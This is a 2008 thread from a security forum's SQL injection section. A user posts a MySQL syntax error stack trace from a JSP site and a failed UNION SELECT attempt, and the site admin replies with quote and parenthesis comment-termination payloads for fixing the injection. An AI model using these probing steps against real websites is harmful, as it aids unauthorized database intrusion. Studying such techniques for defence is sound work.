  | 
        
  | 
   
 
    
        
      
          | 
  
  
  
    
    
        
	  | 
	Menu | 
	  | 
 
 
    
     
     
     
      
       
       
        
         
         
          
           
						 |  
						 Home |  
 |   |  
						 |  
						 Discussions |  
 |   |  
						 |  
						 Tools |  
 |   |  
						 |  
						 Affiliates |  
 |   |  
						 |  
						 Content |  
 |   |  
						 |  
						 Info |  
 |   |    | 
            
          
         | 
       
     
    | 
    
   
   | 
   
 
 | 
   
 
  
    
    
        
	  | 
	User Info | 
	  | 
 
 
    
     
     
     
      
       
       
        
         
         
          
             Membership: 
  Latest: MichaelSnaRe 
  New Today: 0 
  New Yesterday: 0 
  Overall: 9144 
 
  People Online:
 
  Visitors: 92 
  Members: 0 
  Total: 92 
 | 
            
          
         | 
       
     
    | 
    
   
   | 
   
 
 | 
   
 
  
    
    
        
	  | 
	Full disclosure | 
	  | 
 
 
    
 | 
   
 
 | 
  
    
        
	  | 
	 | 
	  | 
 
 
    
        
          
              
                
                    
                      
                          
                            
                            
	
	
		  | 
		 | 
	 
	
		  | 
		IT Security and Insecurity Portal | 
	 
	 
	 | 
 
 
 
	  | 
	[help] JSP mysql | 
	  | 
 
 
	
	
		 Posted: Thu Mar 13, 2008 12:02 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| cavevip |  
				| Regular user |  
				 
   |  
				 |  
				| Joined: Mar 01, 2008 |  
				| Posts: 10 |  
				 |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			help me query table anh column site .JSP mysql bug 
 
 
 	  | Code: | 	 		  javax.servlet.ServletException: Syntax error or access violation: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''121''' at line 1
 
 at org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:471)
 
 at org.apache.jsp.collection_0005f6_0005fdetails$jsp._jspService(collection_0005f6_0005fdetails$jsp.java:536)
 
 at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:107)
 
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
 
 at org.apache.jasper.servlet.JspServlet$JspServletWrapper.service(JspServlet.java:201)
 
 at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:381)
 
 at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:473)
 
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
 
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:247)
 
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:193)
 
 at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:243)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:566)
 
 at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:472)
 
 at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:943)
 
 at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:190)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:566)
 
 at org.apache.catalina.valves.CertificatesValve.invoke(CertificatesValve.java:246)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:564)
 
 at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:472)
 
 at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:943)
 
 at org.apache.catalina.core.StandardContext.invoke(StandardContext.java:2347)
 
 at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:180)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:566)
 
 at org.apache.catalina.valves.ErrorDispatcherValve.invoke(ErrorDispatcherValve.java:170)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:564)
 
 at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:170)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:564)
 
 at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:472)
 
 at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:943)
 
 at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:174)
 
 at org.apache.catalina.core.StandardPipeline.invokeNext(StandardPipeline.java:566)
 
 at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:472)
 
 at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:943)
 
 at org.apache.catalina.connector.http.HttpProcessor.process(HttpProcessor.java:1027)
 
 at org.apache.catalina.connector.http.HttpProcessor.run(HttpProcessor.java:1125)
 
 at java.lang.Thread.run(Thread.java:536)
 
 
 | 	  
 
thank all    | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
  |   
	  | 
	 | 
	  | 
 
 
	
	
		 Posted: Thu Mar 13, 2008 1:51 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| waraxe |  
				| Site admin |  
				 
   |  
				 |  
				| Joined: May 11, 2004 |  
				| Posts: 2407 |  
				| Location: Estonia, Tartu |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			Please provide part of the url, that you were using to provoke this sql error. Example:
 
 
 | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
	
	
		 Posted: Thu Mar 13, 2008 7:00 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| cavevip |  
				| Regular user |  
				 
   |  
				 |  
				| Joined: Mar 01, 2008 |  
				| Posts: 10 |  
				 |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			 	  | Code: | 	 		  | viewarticle.jsp?id=43025+union+all+select+1,2,3,4....../* | 	  
 
 
not work ?? | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
	
	
		 Posted: Thu Mar 13, 2008 8:20 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| waraxe |  
				| Site admin |  
				 
   |  
				 |  
				| Joined: May 11, 2004 |  
				| Posts: 2407 |  
				| Location: Estonia, Tartu |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			As seen from your first post, error message points to sql syntax problem.
 
So first task is to get syntax right.
 
 
Try:
 
 
 	  | Code: | 	 		  
 
viewarticle.jsp?id=43025/*
 
 | 	  
 
 
 	  | Code: | 	 		  
 
viewarticle.jsp?id=43025'/*
 
 | 	  
 
 
 	  | Code: | 	 		  
 
viewarticle.jsp?id=43025)/*
 
 | 	  
 
 
 	  | Code: | 	 		  
 
viewarticle.jsp?id=43025')/*
 
 | 	  
 
 
If syntax is right, then you should see normally working webpage. If you see sql errors, then try to analyze them and solve the problem(s). | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
	
	
		 Posted: Fri Mar 14, 2008 8:52 am | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| cavevip |  
				| Regular user |  
				 
   |  
				 |  
				| Joined: Mar 01, 2008 |  
				| Posts: 10 |  
				 |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			waraxe  write tut about JSP mysql to give study to newbie to go    
 
thanks very much | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
	
	www.waraxe.us Forum Index -> Sql injection 
	
	
		
			You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum 
		 | 
		
			All times are GMT 
			Page 1 of 1
			 
			
		 | 
	 
	 
	 | 
 
	| 
	 | 
 
 
  
Powered by phpBB © 2001-2008 phpBB Group
 
  
 
 
 | 
                           
                         
                         | 
                     
                    | 
               
              | 
         
       
       | 
   
  | 
 
 
 |